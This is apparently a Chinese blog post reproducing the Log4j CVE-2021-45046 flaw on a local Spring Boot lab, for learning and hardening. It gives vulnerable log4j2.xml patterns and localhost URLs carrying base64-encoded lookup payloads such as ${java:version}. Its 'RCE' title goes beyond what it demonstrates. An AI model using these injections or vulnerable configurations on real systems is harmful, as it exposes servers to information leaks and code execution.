CVE-2021-45046 log4j2-RCE-复现篇

2022-03-06 10:33:50 浏览数 (4)

12月9号就看到了关于log4j2-DOS漏洞相关的研究思路文章,可惜比较忙没有时间搞一下

见这几天大部分log4j2版本都升级到了2.17,挤了点时间,复现一下

声明:供漏洞理解学习及安全加固解决方案,请勿利用漏洞于非法途径,后果自负


一.环境准备(spring boot log4j2)

(1)完整环境搭建

建议自己完整搭建一下,spring boot框架 log4j2日志配置就行,spring boot默认使用logback日志结构,配置为log4j2,可以参考以下两篇文章配置方式:

springboot整合log4j2日志全解:https://www.cnblogs.com/keeya/p/10101547.html

springboot log4j2配置:https://blog.csdn.net/qq_35192741/article/details/82629041

完整环境下载:

Spring-boot:https://github.com/spring-projects/spring-boot

Log4j-core-2.15.0.jar:https://repo.maven.apache.org/maven2/org/apache/logging/log4j/log4j-core/2.15.0/log4j-core-2.15.0.jar

(2)简单复现环境

Log4j2 dos env:https://github.com/EmYiQing/Log4j2DoS

我看了下,这个复现环境只保留了spring boot基础http服务和log日志服务,单独服务漏洞复现。我们以这个较简单的spring boot log4j2环境来复现CVE-2021-45046漏洞

二.两种本地环境配置和触发复现

漏洞触发原理:

发现 Apache Log4j 2.15.0 中针对 CVE-2021-44228 的修复在某些非默认配置中不完整。当日志配置使用带有上下文查找(例如,$${ctx:loginId})或线程上下文映射模式( %X、%mdc 或 %MDC) 使用 JNDI 查找模式制作恶意输入数据,从而导致某些环境中的信息泄漏和远程代码执行以及所有环境中的本地代码执行。Log4j 2.16.0 (Java 8) 和 2.12.2 (Java 7) 通过删除对消息查找模式的支持和默认禁用 JNDI 功能来解决此问题。

1.第一种触发方式:日志配置使用带有上下文查找$${ctx:loginId}

(1)漏洞触发位置

代码语言:javascript复制
http://localhost:8080/cve?userId=payload

(2)条件:日志配置使用带有上下文查找$${ctx:loginId}

代码语言:javascript复制
<pattern>%d %p %c{1.} [%t] $${ctx:loginId} %m%n</pattern>

(3)复现步骤

(1)修改log.4j2.xml配置文件:

文件位置:X:XXXXXXXXXXXXXXXLog4j2DoS-mastersrcmainresourceslog4j2.xml

代码语言:javascript复制
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="warn" name="MyApp" packages="">
    <appenders>
        <console name="STDOUT" target="SYSTEM_OUT">
            <PatternLayout>
                <pattern>%d %p %c{1.} [%t] $${ctx:loginId} %m%n</pattern>
            </PatternLayout>
        </console>
    </appenders>
    <Loggers>
        <Root level="info">
            <AppenderRef ref="STDOUT"/>
        </Root>
    </Loggers>
</Configuration>

(2)启动spring boot服务器:

启动文件:

代码语言:javascript复制
X:XXXXXXXXXXXXXXXLog4j2DoS-mastersrcmainjavacomexampledemoDemo1Application.java

设置为${ctx:logId}设置为${ctx:logId}

测试一下web服务是否正常:访问http://localhost:8080,正常启动

后台

可以看到,日志多了两条记录,说明一切正常可以看到,日志多了两条记录,说明一切正常

访问漏洞位置(这里我们paload使用1):

代码语言:javascript复制
http://localhost:8080/cve?userId=1
提示需使用base64编码提示需使用base64编码

那就把1改为MQ==输入(MQ==是1使用base64编码后结果),访问:

代码语言:javascript复制
http://localhost:8080/cve?userId=MQ==
当传参为1当传参为1

访问漏洞位置,这回我们把payload换为${java:version},显示当前java版本,当然也是使用base64来传参,即JHtqYXZhOnZlcnNpb259,访问:

代码语言:javascript复制
http://localhost:8080/cve?userId=JHtqYXZhOnZlcnNpb259

当传参为${java:version}当传参为${java:version}

2.第二种触发方式:线程上下文映射模式( %X、%mdc 或 %MDC)

(1)漏洞触发位置

代码语言:javascript复制
http://localhost:8080/test?message=payload

(2)条件:线程上下文映射模式( %X、%mdc 或 %MDC)

代码语言:javascript复制
<PatternLayout pattern="%msg{lookups}%n"/>

(3)复现步骤

(1)修改log4j2.xml配置文件:

代码语言:javascript复制
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="warn" name="MyApp" packages="">
    <appenders>
        <console name="STDOUT" target="SYSTEM_OUT">
            <PatternLayout pattern="%msg{lookups}%n"/>
        </console>
    </appenders>
    <Loggers>
        <Root level="info">
            <AppenderRef ref="STDOUT"/>
        </Root>
    </Loggers>
</Configuration>

(2)启动spring boot服务器:

启动文件:

代码语言:javascript复制
X:XXXXXXXXXXXXXXXLog4j2DoS-mastersrcmainjavacomexampledemoDemo1Application.java
配置为%msg{lookups}%n配置为%msg{lookups}%n

我们依然以刚开始使用payload为1来测试下,访问:

代码语言:javascript复制
http://localhost:8080/test?message=MQ==
像上回一样,把payload换为${java:version},payload为JHtqYXZhOnZlcnNpb259,访问:
代码语言:javascript复制
http://localhost:8080/test?message=JHtqYXZhOnZlcnNpb259

当传参为${java:version}当传参为${java:version}

我看不懂,但大受震撼

这不是RCE,是啥???

1 人点赞